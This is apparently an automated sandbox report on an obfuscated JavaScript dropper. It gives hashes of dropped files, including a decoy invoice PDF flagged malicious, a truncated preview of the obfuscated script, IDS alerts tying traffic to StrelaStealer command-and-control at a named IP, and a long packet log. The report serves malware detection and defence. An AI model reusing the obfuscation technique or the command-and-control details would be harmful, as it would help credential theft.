Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b58a5ba0-c4f0-4b2b-95a9-866b7a7c7a5e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\da4e9077-10d3-4291-b318-ad2abcb99c37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (11118), with no line terminators
Entropy (8bit):	5.0068787838149325
TrID:
File name:	35491083472324549.js
File size:	11'118 bytes
MD5:	e31a814ebfc9f6061653d7709ab15788
SHA1:	ebe5f77c19563b739224d4b03d7bf6dd20074a91
SHA256:	06fe51c6fe3fb076f9ff0f2d3840144c89e24743316d6b8ca10f89b3eee8a635
SHA512:	a42f112df42c7fc8adbece59ed88746a92e2cf605aee2220694a392ab344cb249353c081513f638e5b7fa68755405ed5c3676a8294f8ffbb3e187d1d2b8dcbc8
SSDEEP:	192:OwkHuNTsMTLHutDrypNxytVIkkXFbmLcj1OI+hDaPTElUu0eTRZ4T0:aqpNxytVIkkXNsJlUu0eTRZ4Y
TLSH:	903276AEF91DCF1B8CE33FB8EA6085B1758903BAE10ED1A45F5B44924359CAC5CE5078
File Content Preview:	function reqyqjcfr(){this[huijiqoww+wbisibn+ldaaaxyqu+zrnga]("sytrop=[1031,3079,5127,4103,2055,3072];var aysxtr=this[ypmtrthy+ldaaaxyqu+sihzkxxh+zkqique+huijiqoww+dilndsfya+bxozmyka+glewa](this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T11:12:02.772395+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-14T11:12:02.772395+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-14T11:12:05.600373+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 11:12:01.966160059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:01.971398115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:01.971482038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:01.974278927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:01.979075909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772273064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772336960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772373915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772394896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.772408009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772440910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772449970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.772473097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772506952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772512913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.772540092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772578955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.772586107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772614956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.772651911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.777523041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.777551889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.777604103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.827961922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.828013897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.828052044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.828064919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.881598949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.897742033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897814035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897850037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897876978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.897882938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897918940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897927046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.897954941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897989035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.897990942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.898022890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898067951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.898123026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898252964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898288012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898298979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.898875952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898909092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898921967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.898942947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.898987055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.899517059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899549961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899583101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899594069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.899616957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899650097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899658918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.899682045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899715900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.899743080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.914652109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.914727926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.951124907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.951195002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.951232910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.951248884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.951268911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.951303959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.951316118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:02.983531952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.983577967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:02.983722925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.031122923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031173944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031203985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.031213999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031266928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.031270981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031306028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031354904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.031393051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031426907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031459093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031471014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.031493902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031526089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031537056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.031562090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031596899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.031603098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.032249928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.032294035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.032299042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.032334089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.032366037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.032377005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.032399893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.032433987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.032440901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.033019066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033065081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.033067942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033102989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033134937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033147097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.033169031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033202887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033212900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.033874989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033926010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033926010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.033961058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.033993006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034003019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.034027100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034060955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034070969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.034742117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034790993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.034791946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034826040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034857988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034868002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.034890890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034924984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.034933090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.035583019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.035618067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.035629034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.037707090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.037753105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.075453997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075531006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075568914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075604916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075608969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.075659037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075668097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.075694084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075728893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075742960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.075762033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075799942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075803995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.075829029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.075871944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.108232975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.108278036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.108414888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.145659924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145704985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145741940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145802021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145831108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145844936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.145844936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.145864010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145898104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145905972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.145961046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.145996094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146018982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146027088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146060944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146070004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146094084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146136045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146148920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146178007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146219969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146265984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146317005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146349907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146359921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146383047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146420002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146425962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146449089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146487951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146706104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146758080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146805048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146807909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146842957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146874905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146888018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.146908045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146941900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.146949053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.147336960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147387981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.147393942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147444010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147461891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147484064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.147486925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147501945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147516966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147524118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.147532940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147550106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147556067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.147566080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147583961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.147588015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.147619963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.148260117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148269892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148289919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148309946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.148349047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148360014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148369074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148379087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148421049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.148432970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148443937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148452997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.148458958 CET	49730	80	192.168.2.4	193.143.1.205
